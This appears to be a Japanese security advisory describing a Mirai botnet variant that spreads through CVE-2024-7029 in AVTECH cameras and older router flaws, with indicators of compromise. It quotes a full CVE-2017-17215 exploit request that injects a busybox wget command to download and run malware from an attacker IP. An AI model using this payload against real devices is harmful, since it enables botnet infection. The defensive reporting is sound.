パッチ適用不可に注意:ゼロデイを介して拡散する Corona Mirai ボットネット
編集・協力:Tricia Howard
校閲:Maria Vlasak
エグゼクティブサマリー
Akamai Security Intelligence and Response Team(SIRT)は、過去に悪用された複数の脆弱性と、SIRT によって検出されたゼロデイ脆弱性を悪用するボットネットキャンペーンを観測しました。
CVE-2024-7029(Aline Eliovich によって発見)は、リモートコードの実行(RCE)を可能にする AVTECH 閉回路テレビ(CCTV)カメラの明るさ機能に存在する、コマンドインジェクションの脆弱性です。
インジェクションされると、このボットネットは、少なくとも 2020 年以降に確認された COVID-19 ウイルスを参照する文字列名をもつ Mirai バリアントを拡散します。
この脅威に対する防御を支援するために、 脅威の痕跡情報(IOC) のリストを掲載しました。
はじめに
Akamai SIRT は、社内外のさまざまなインテリジェンスフィードを監視し、また、それに参加することで、当社と顧客のオンラインライフの安全を守ります。Akamai のグローバルなハニーポットネットワークを通じて、いくつかのアクティブな脅威を発見しました。そのうちの 1 つが、 CVE-2024-7029( Aline Eliovichによって発見)です。
この RCE ゼロデイ脆弱性は、AVTECH の IP カメラデバイスの明るさ機能で発見されたもので、 コマンドインジェクションによって標的のシステム上に Mirai バリアントを拡散させることができます。これは、昇格した特権(実行中のプロセスオーナー)を使用し、リモートで実行できます。2024 年 8 月、CISA はこの脆弱性について、攻撃の複雑性、リモートエクスプロイト、および既知のパブリックエクスプロイトがないことを理由として、 産業用制御システム (ICS)勧告 を発行しました。
ボットネットキャンペーンは、CVE-2024-7029 以外の複数の脆弱性を標的としており、これには 複数の AVTECH 脆弱性、 Hadoop YARN RCE、 CVE-2014-8361、 CVE-2017-17215が含まれます。これは、悪性の目的を達成するために、古く、優先度が低そうな、パッチが適用されていない脆弱性を利用するという、攻撃者の厄介な傾向に続くものです。
キャッチアップしてパッチアップせよ
CVE-2024-7029 とは
簡潔に言えば、CVE-2024-7029 は、AVTECH の IP カメラデバイスにおいて、「brightness」引数が「action=」パラーメーターに存在し、それがコマンドインジェクションを可能にする脆弱性です。この脆弱性は攻撃者によって悪用され、COVID-19 ウイルスの名を冠した文字列名をもつ Mirai バリアントが拡散されたことが分かりました。
この脆弱性はいつから悪用されているのか
誰が影響を受けるのか
AVTECH の IP カメラデバイスにおけるこの脆弱性は、AVM1203 のファームウェアバージョン FullImg-1023-1007-1011-1009 までに影響を及ぼします。問題のモデルは数年前に製造中止になっているにもかかわらず、CISA は勧告の中で、これらのデバイスは交通局やその他の重要なインフラエンティティを含め、依然として世界中で使用されていると述べています。
仕組みは?
この脆弱性はもともと、ハニーポットログを調べている際に発見されました。図 1 に、わかりやすくするためにデコードされた URL を示します。
この脆弱性は、 /cgi-bin/supervisor/Factory.cgi ファイル内の明るさ機能に存在します(図 2)。
何が起こり得るのか?
観測された悪用例では、基本的に、 脆弱性が悪用されることで、攻撃者は標的のシステムでリモートコードを実行できるようになります。
図 3 は、この脆弱性を悪用することで JavaScript ファイルをダウンロードして実行し、メインのマルウェアペイロードをフェッチしてロードする攻撃者の例です。 他の多くのボットネットと同様に、このボットネットも Mirai マルウェアのバリアントを標的に拡散しています。
この例では、ボットネットは Corona Mirai バリアントを使用している可能性が高く、このバリアントは COVID-19 ウイルスとの関連で 2020 年の時点で 他のベンダー によって参照されています。
実行すると、マルウェアはポート 23、2323、37215 の Telnet を介して多数のホストに接続します。また、感染したホストのコンソールに「Corona」という文字列を出力します(図 4)。
マルウェアサンプルにある文字列を静的解析すると、CVE-2017-17215 の影響を受ける Huawei のデバイスを悪用しようとして、 /ctrlt/DeviceUpgrade_1 というパスを標的にしていることが分かります。このサンプルには、2 つのハードコードされたコマンド & コントロール IP アドレスがあり、そのうちの 1 つは CVE-2017-17215 エクスプロイトコードの一部です(図 5)。
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"
<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 45.14.244[.]89 -l /tmp/mips -r /mips; /bin/busybox chmod 777 * /tmp/mips; /tmp/mips huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
図 5:CVE-2017-17215 /ctrlt/DeviceUpgrade_1 エクスプロイトコード
このボットネットは、Hadoop YARN RCE、CVE-2014-8361、CVE-2017-17215 など、他のいくつかの脆弱性も標的にしていました。これらの脆弱性が何度も野放しで悪用されていることが観測されており、被害はとどまることを知りません。
結論
正式な CVE 割り当てのない脆弱性であっても、組織にとって重大な脅威となる可能性があります。これらのボットネットを操作する攻撃者は、新たな脆弱性や潜在的な脆弱性を悪用して マルウェアを拡散しています。CVE-2024-7029 も潜在的な脆弱性の一例であり、SIRT が観測している攻撃傾向の中でもますます一般的になりつつあります。
パブリックエクスプロイトや利用可能な PoC に狙われる脆弱性の中には、正式な CVE の割り当てがないものも多く、デバイスにパッチが適用されていないケースもあります。パッチの優先順位を管理することは、特に脅威が利用可能なパッチをもたない場合、困難です。脅威を修復する方法がない場合は、ハードウェアとソフトウェアを廃棄することが、セキュリティリスクを軽減し、規制違反による罰金のリスクを低減するために推奨される方法です。
お気軽にお問い合わせください
Akamai SIRT は、顧客、社員、そしてセキュリティコミュニティ全体の安全のために、CVE-2024-7029 のような脅威の検出、監視、報告を続けていきます。最新の調査結果については、 ソーシャルメディア をフォローしていただくか、 セキュリティリサーチ のページをご覧ください。
IOC
IPv4 アドレス
93.123.39[.]72
93.123.39[.]87
93.123.39[.]111
147.78.103[.]177
185.216.70[.]37
94.156.8[.]185
93.123.39[.]173
74.50.81[.]158
94.156.71[.]74
93.123.85[.]213
185.216.70[.]142
45.66.231[.]148
185.216.70[.]79
SHA256 ハッシュ
15a1d52c529d314bb2b5fa8b8bd6c6a496609a283dd0e78e595c929e720d1b5b (“r”)
c0ae1eb249705f61d45ca747c91c02a411557a28792f4064c1d647abb580bc10 (“x86”)
b0f7ef937d77061515907c54967a44da3701e0d2af143164bbf44bb4fc6f26af (“sh”)
e82192fbe00bc7205abe786155bbfc0548f5c6ee9819a581e965526674f3cc57 (“mips”)
9e9e481bb448438572c2695469c85f773ddcd952025e45bee33bbfce2531c656 (“r”)
f4bf61fc335db4f3e7d7d89b534bc1e6ead66a51938e119ea340fe95039935e3 (“mips”)
22553be649f76a060ebbdfd410e295b66803e9c49d23369a726be2c5a25733ab (“sh”)
135264de24d499877e95673b9cca737e488042813f41fef7817728a704323fe2 (“r”)
6ad5984bc9af7af6962a080bbb1a35bb56e8671c4b9c1d44e88da5a3f6b9aa82 (“r”)
947f517d3b833cc046b2ea0540aad199b7777fb03057122fb0b618828abdc212 (“r”)
8ac82a770cffbbc8fba73554d7caa117ef6d37ffee468665b95bc406449f91b5 (“r”)
5e264cb009c4d84b6180e47b9ceda3af8897b17b88fccc9c2914706d66abd1d1 (“r”)
372eefdc4bf9f4a4382db2762fcf9a9db559c9d4fff2ee5f5cf5362418caaa92 (“r”)
3995a7e7eb8eeafb0b6da2c3813e61d11993a820d478c87809136de79d8f8280 (“sh”)
40d8f662c187b53fd6fdeb70db9eb262b707e557d3fa4e5e4eacaeaa03ac45f2 (“r”)
4826b0194fbd924aa57b9c4ab1e017f0f45f547189374b0ea761d415fa4285ff (“x86”)
25945c4fe38ed2008f027bd1484b89867b23528c738812d317ddf57f48666b91 (“r”)
cfcae524309a220a48327c50bf32bf5ed3aed5698855b5da9f1ae932fb2df90c (“x86”)
774947944ea370592a30478bb3f26081799f7d7df975a6735e620d3442e7803b (“x86”)
06b1f09a62204472581e6aec381f96014bb6cc3fc1a9cef38bbcfe88bd82e499 (“r”)
4f50d318688c80f08eb7fad6f8788cae459c3420b3b9eb566f936edd7a780ae1 (“sh”)
c15bbfb85bfd8305fad8cc0e0d06cbe825e1e6fc6d8dbe5a8d1ac4243bd77d0c (“x86”)
0a566c39ecbc4107f954cb3e5e240ccaf0018dfac9b5062b4db7971fb3d9f413 (“x86”)
2d7351aa765bb2feed9536cc392b2013361c193e99841c5b56591d988bd4b582 (“x86”)
5d58f0fa54784e9c90825cba9e2052f691cdcfe85b0796a6379982832563090d (“x86”)